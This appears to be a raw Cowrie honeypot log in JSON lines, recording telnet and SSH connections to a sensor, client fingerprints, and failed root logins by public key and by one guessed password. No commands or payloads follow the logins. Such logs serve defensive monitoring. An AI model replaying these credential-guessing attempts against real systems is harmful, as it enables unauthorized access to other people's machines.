{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41550,"dst_ip":"10.17.0.5","dst_port":23,"session":"9886f06745ff","protocol":"telnet","message":"New connection: 152.42.224.71:41550 (10.17.0.5:23) [session: 9886f06745ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:41.753140Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41556,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a00eb574991","protocol":"telnet","message":"New connection: 152.42.224.71:41556 (10.17.0.5:23) [session: 8a00eb574991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:42.712578Z"}
{"eventid":"cowrie.session.closed","duration":41.42647576332092,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:42.832015Z","src_ip":"152.42.224.71","session":"06baa52cc324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41554,"dst_ip":"10.17.0.5","dst_port":23,"session":"8973d82ec7a3","protocol":"telnet","message":"New connection: 152.42.224.71:41554 (10.17.0.5:23) [session: 8973d82ec7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:43.595299Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41802,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce76242d1cb4","protocol":"telnet","message":"New connection: 152.42.224.71:41802 (10.17.0.5:23) [session: ce76242d1cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:48.824279Z"}
{"eventid":"cowrie.session.closed","duration":32.083003759384155,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:49.330394Z","src_ip":"152.42.224.71","session":"da86245c5ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.409136056900024,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:58.121581Z","src_ip":"152.42.224.71","session":"8a00eb574991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":83.58724665641785,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.124740Z","src_ip":"152.42.224.71","session":"a1a81c728f4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.209.8.82","src_port":41284,"dst_ip":"10.17.0.5","dst_port":22,"session":"fac0164c598d","protocol":"ssh","message":"New connection: 209.209.8.82:41284 (10.17.0.5:22) [session: fac0164c598d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.793760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.798825Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.823627Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:cc:06:c6:c1:43:dd:37:d0:4c:cb:c7:65:c3:a9:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuveKJizfpeTG3aaBh9LEtUzHVDHOoonfXOK4zeWK9MjZ1dJ1im2It9RMIET4U2cXDBmCJ/u6XVmyqPdsdcV78dh8bnPp3d+vZ2l45dLy118tQcmnCyYA//YMnsS+eezKg7Xt5y0ao+tyHRnKTU5UvuduZ1HpZEe9BGkcFJcntoVH0MqzUPgi/0LGKbyHHLYjFYd7s4JOxgGUWiHkrbjXV9RpOcSzr2emilnl7XEwY97sm7CqaHKdp/U660l3fGgJ6/m/BcbY6H2RCQL/zNnDkgWftwMFh84Kmu7QhRCL0NaboohXq48zrmh+a/oPCN6thsSInMAF8cVqpItE5g5vn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:cc:06:c6:c1:43:dd:37:d0:4c:cb:c7:65:c3:a9:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.906475Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:cc:06:c6:c1:43:dd:37:d0:4c:cb:c7:65:c3:a9:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuveKJizfpeTG3aaBh9LEtUzHVDHOoonfXOK4zeWK9MjZ1dJ1im2It9RMIET4U2cXDBmCJ/u6XVmyqPdsdcV78dh8bnPp3d+vZ2l45dLy118tQcmnCyYA//YMnsS+eezKg7Xt5y0ao+tyHRnKTU5UvuduZ1HpZEe9BGkcFJcntoVH0MqzUPgi/0LGKbyHHLYjFYd7s4JOxgGUWiHkrbjXV9RpOcSzr2emilnl7XEwY97sm7CqaHKdp/U660l3fGgJ6/m/BcbY6H2RCQL/zNnDkgWftwMFh84Kmu7QhRCL0NaboohXq48zrmh+a/oPCN6thsSInMAF8cVqpItE5g5vn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.911147Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:51:b8:91:00:b1:a0:af:2c:56:23:47:8f:59:4a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCui6OLS6tVMdqTBZNS2bwZP7PxjT5xndl7td681sHK1LHf9ZOlLo4/6DF24in9GfmXcoJXUJ2RYvqwBSBt1jYCF+XbS0wjvYzYs8VOqfgWKWwTNhmQAYMaY42v20gjvZdHZpgzgwOw1ofcSOYBNpT2GEO5YhUiCwMHjZsLGM/+1mT7vE/Y+7JPKXLS/Ti/RWQ2FMyDQ8LTNjV+kcQmjYTc/mnsQ73i/LncUUA/vJVjd0Vd9vk3626AwreWROc5FxgrE4ouqPE5WGKcnFCV5bLbElVu/31wblQDAyJlmBBsQyYp01EfMjHs61aX0peDcAVTWmnscmnnvvHdA+JY6ba7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:51:b8:91:00:b1:a0:af:2c:56:23:47:8f:59:4a:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.937222Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:51:b8:91:00:b1:a0:af:2c:56:23:47:8f:59:4a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCui6OLS6tVMdqTBZNS2bwZP7PxjT5xndl7td681sHK1LHf9ZOlLo4/6DF24in9GfmXcoJXUJ2RYvqwBSBt1jYCF+XbS0wjvYzYs8VOqfgWKWwTNhmQAYMaY42v20gjvZdHZpgzgwOw1ofcSOYBNpT2GEO5YhUiCwMHjZsLGM/+1mT7vE/Y+7JPKXLS/Ti/RWQ2FMyDQ8LTNjV+kcQmjYTc/mnsQ73i/LncUUA/vJVjd0Vd9vk3626AwreWROc5FxgrE4ouqPE5WGKcnFCV5bLbElVu/31wblQDAyJlmBBsQyYp01EfMjHs61aX0peDcAVTWmnscmnnvvHdA+JY6ba7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.940999Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:93:5d:29:9f:43:fa:6d:8f:0c:d2:c1:ef:1b:4f:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/XTe5pgLtN1VDSTgX75LqGMJ6scKKQPaRBclcqv5baW26KAP/W5elLBQ4h42eQr2RO0vKFI8JbDy0KC7TqzBJzugFWmogIGpUg7K3HtN4dev2TynkBi2B8udMQx9qyTCEtVyzTvvcmRpRPmMMTgFvXkXAuw80bb2BkUY5U/9h7yAQfX/hCLxM7DCRZmZAqfvCX3D26p9EW48fkr3VH8ncM7R8FaOJ5kkieGft6dgLoLnTvob+XMznc/fQrmFlqb+ZVN/62T4jTHvfpcthhkkhsoJOrty0cI9mLD1TTx6hdv0pBtKc6yA9BSCrQ5OY9aPLb0FkKsIE4CgQ1YnUBzaL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:93:5d:29:9f:43:fa:6d:8f:0c:d2:c1:ef:1b:4f:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.964331Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:93:5d:29:9f:43:fa:6d:8f:0c:d2:c1:ef:1b:4f:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/XTe5pgLtN1VDSTgX75LqGMJ6scKKQPaRBclcqv5baW26KAP/W5elLBQ4h42eQr2RO0vKFI8JbDy0KC7TqzBJzugFWmogIGpUg7K3HtN4dev2TynkBi2B8udMQx9qyTCEtVyzTvvcmRpRPmMMTgFvXkXAuw80bb2BkUY5U/9h7yAQfX/hCLxM7DCRZmZAqfvCX3D26p9EW48fkr3VH8ncM7R8FaOJ5kkieGft6dgLoLnTvob+XMznc/fQrmFlqb+ZVN/62T4jTHvfpcthhkkhsoJOrty0cI9mLD1TTx6hdv0pBtKc6yA9BSCrQ5OY9aPLb0FkKsIE4CgQ1YnUBzaL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.969764Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:19:96:0f:0e:26:33:4d:18:a5:a9:43:0a:26:f7:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeBNuF7Nx+ErFNLDwAEYBygibjBn6HPTmL2LMDJdVUfLMkXE7lATVeJp0IOpjtF5g5n6lJ3q9LYWEpHbFdLH/n1qsz5QL/jCqE27UEVrKC2AqrT66UpI+S0pObr26A25NjwVQH5u9/mR1QaiDrZcX4U5cIEDmfVZ/PXKedThsIqud+NQR4q6Q3J0V+04SEr9iMvDeEePDFLmGKpT75dbR0JJJN/oLKZyx9DIbLtKygLTVuUzioef1gLNpWnh2v1CcEVVJY86/u6FkrWC4+Dt+/VI+sowWnM/Unh9GjUHWViv6AQKR0zpuGv/lacd/qjtRADesPLGnfP1aHgUT6cFXbadIXOJYZbiKkIhCVfuz9dZMg/mMw/lXHwrrXOU+CuhM29z76AEjo1Vlyfb+0xAES/W8hZ2Qp7pKK6sCcvkCc9Pi4vCTjMycEcoKv09KnM9p92TDQ3Fskfca3YXnaeLutgOZpGs3cZruleOfNGRV9eQhYfM4ZvjA818vv8aSM9wyDb2XqZjM6IbeKhc2cRrEk4mb8aw5YBvhXOSGaMRzlfe3DXRE6SQ2bQpCBOnOTIRbD4oHx6ne8OtiwnoGwJpvPsL2hhoBY/QHC/r8WwMjfRPzDPd6uPRZrrTgkPrZ3Io9GmE53odZnDY+Y1sSdHdrsw68fO77muUamft0ewn6yDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:19:96:0f:0e:26:33:4d:18:a5:a9:43:0a:26:f7:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.993872Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:19:96:0f:0e:26:33:4d:18:a5:a9:43:0a:26:f7:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeBNuF7Nx+ErFNLDwAEYBygibjBn6HPTmL2LMDJdVUfLMkXE7lATVeJp0IOpjtF5g5n6lJ3q9LYWEpHbFdLH/n1qsz5QL/jCqE27UEVrKC2AqrT66UpI+S0pObr26A25NjwVQH5u9/mR1QaiDrZcX4U5cIEDmfVZ/PXKedThsIqud+NQR4q6Q3J0V+04SEr9iMvDeEePDFLmGKpT75dbR0JJJN/oLKZyx9DIbLtKygLTVuUzioef1gLNpWnh2v1CcEVVJY86/u6FkrWC4+Dt+/VI+sowWnM/Unh9GjUHWViv6AQKR0zpuGv/lacd/qjtRADesPLGnfP1aHgUT6cFXbadIXOJYZbiKkIhCVfuz9dZMg/mMw/lXHwrrXOU+CuhM29z76AEjo1Vlyfb+0xAES/W8hZ2Qp7pKK6sCcvkCc9Pi4vCTjMycEcoKv09KnM9p92TDQ3Fskfca3YXnaeLutgOZpGs3cZruleOfNGRV9eQhYfM4ZvjA818vv8aSM9wyDb2XqZjM6IbeKhc2cRrEk4mb8aw5YBvhXOSGaMRzlfe3DXRE6SQ2bQpCBOnOTIRbD4oHx6ne8OtiwnoGwJpvPsL2hhoBY/QHC/r8WwMjfRPzDPd6uPRZrrTgkPrZ3Io9GmE53odZnDY+Y1sSdHdrsw68fO77muUamft0ewn6yDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:00.998150Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:27:09:54:be:d1:79:42:3f:4e:de:b6:36:c3:79:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyxMmrB3ildOwAEgFQ4JdMDA6NxXTJY6OxeNOp8Kjm2YuMYLX64m8p6hdR26ATC9wBBIJ01AIwxIfsjI1urWRTR5zxPCLp00AS4aMKeVeQZ/X8twRGPGdrnwgVMjBdmVCxyGtt5GfHBlIYp9im9sNb3SVexs8L3YSFBj40Y0GIv/j9Im2JUOFiQFAZ6wOtuOt11wSSfB3rzQMZlDZxRP4zLhjtwxGHz3hpmLUuytHGZnR59mzpRfcDnZq32eywPj6Aj563ZC2X4T3C60PYVerOu1cmXh0aMBtzfyS/t/c//A8CmX4cT5biDhv5N2VkaYczoMqKqxK18mvdH4HS45XBDU9mYnk05FonPT2bmoO4yK1od0qc80BBLuL8wAU0zT0YGCOi8nqfeixxiqtLAUGjdGxL/OEg3bEmsfCWCpjj0RKh2tXe22Iz1mWTgnUk4eeDXnCViQT9KOKbozIoRy5hMzDVJBSsEhVoV/mpRUQ9EHxHo1rQgKJFfcBNOvAYzsX5EIdMmO8l3ysKYoJ9SyQKl7L+IOv3USL01tvuTSc7XaVXgRvz2jRCTl5uTCM5cZECzzIEm9ja87LZG90UwxvgoVOLT8SndmZuaS1QRpIg6hjY6qdLLNLO2KUhCU7t/ud3GzvMtryHqjCg1g07N6gGFu1uioD046gdvr/CLHyoHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:27:09:54:be:d1:79:42:3f:4e:de:b6:36:c3:79:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:01.022413Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:27:09:54:be:d1:79:42:3f:4e:de:b6:36:c3:79:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyxMmrB3ildOwAEgFQ4JdMDA6NxXTJY6OxeNOp8Kjm2YuMYLX64m8p6hdR26ATC9wBBIJ01AIwxIfsjI1urWRTR5zxPCLp00AS4aMKeVeQZ/X8twRGPGdrnwgVMjBdmVCxyGtt5GfHBlIYp9im9sNb3SVexs8L3YSFBj40Y0GIv/j9Im2JUOFiQFAZ6wOtuOt11wSSfB3rzQMZlDZxRP4zLhjtwxGHz3hpmLUuytHGZnR59mzpRfcDnZq32eywPj6Aj563ZC2X4T3C60PYVerOu1cmXh0aMBtzfyS/t/c//A8CmX4cT5biDhv5N2VkaYczoMqKqxK18mvdH4HS45XBDU9mYnk05FonPT2bmoO4yK1od0qc80BBLuL8wAU0zT0YGCOi8nqfeixxiqtLAUGjdGxL/OEg3bEmsfCWCpjj0RKh2tXe22Iz1mWTgnUk4eeDXnCViQT9KOKbozIoRy5hMzDVJBSsEhVoV/mpRUQ9EHxHo1rQgKJFfcBNOvAYzsX5EIdMmO8l3ysKYoJ9SyQKl7L+IOv3USL01tvuTSc7XaVXgRvz2jRCTl5uTCM5cZECzzIEm9ja87LZG90UwxvgoVOLT8SndmZuaS1QRpIg6hjY6qdLLNLO2KUhCU7t/ud3GzvMtryHqjCg1g07N6gGFu1uioD046gdvr/CLHyoHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:01.026628Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:01.053973Z","src_ip":"209.209.8.82","session":"fac0164c598d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.68036150932312,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:02.663233Z","src_ip":"152.42.224.71","session":"7d24b6273bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:02.809838Z","src_ip":"213.209.159.158","session":"f6fe0afd7764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"402dc804094d","protocol":"telnet","message":"New connection: 152.42.224.71:44628 (10.17.0.5:23) [session: 402dc804094d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:03.405585Z"}
{"eventid":"cowrie.session.closed","duration":41.504889726638794,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:04.031858Z","src_ip":"152.42.224.71","session":"fa5483f76339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44632,"dst_ip":"10.17.0.5","dst_port":23,"session":"231f26bb701d","protocol":"telnet","message":"New connection: 152.42.224.71:44632 (10.17.0.5:23) [session: 231f26bb701d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:04.961220Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.36","src_port":54450,"dst_ip":"10.17.0.5","dst_port":22,"session":"706f44efd191","protocol":"ssh","message":"New connection: 147.185.132.36:54450 (10.17.0.5:22) [session: 706f44efd191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:08.717410Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:08.845511Z","src_ip":"147.185.132.36","session":"706f44efd191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.880889892578125,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:09.790452Z","src_ip":"152.42.224.71","session":"32b8470822b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":35842,"dst_ip":"10.17.0.5","dst_port":22,"session":"50dd41a54494","protocol":"ssh","message":"New connection: 103.75.183.219:35842 (10.17.0.5:22) [session: 50dd41a54494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:10.065870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:10.071146Z","src_ip":"103.75.183.219","session":"50dd41a54494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:10.318256Z","src_ip":"103.75.183.219","session":"50dd41a54494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.94568347930908,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:10.471898Z","src_ip":"152.42.224.71","session":"e860fa8386e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52080,"dst_ip":"10.17.0.5","dst_port":23,"session":"16d191c9dd69","protocol":"telnet","message":"New connection: 152.42.224.71:52080 (10.17.0.5:23) [session: 16d191c9dd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:10.783266Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"19931993","message":"login attempt [root/19931993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:11.059071Z","src_ip":"103.75.183.219","session":"50dd41a54494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:12.309846Z","src_ip":"103.75.183.219","session":"50dd41a54494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.113850831985474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:12.938609Z","src_ip":"152.42.224.71","session":"67baa5b1100b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52094,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de477339890","protocol":"telnet","message":"New connection: 152.42.224.71:52094 (10.17.0.5:23) [session: 9de477339890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:13.205609Z"}
{"eventid":"cowrie.session.closed","duration":63.053542613983154,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:14.575013Z","src_ip":"152.42.224.71","session":"b5fc2bf0dbcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.94669461250305,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:20.541916Z","src_ip":"152.42.224.71","session":"8973d82ec7a3","protocol":"telnet"}
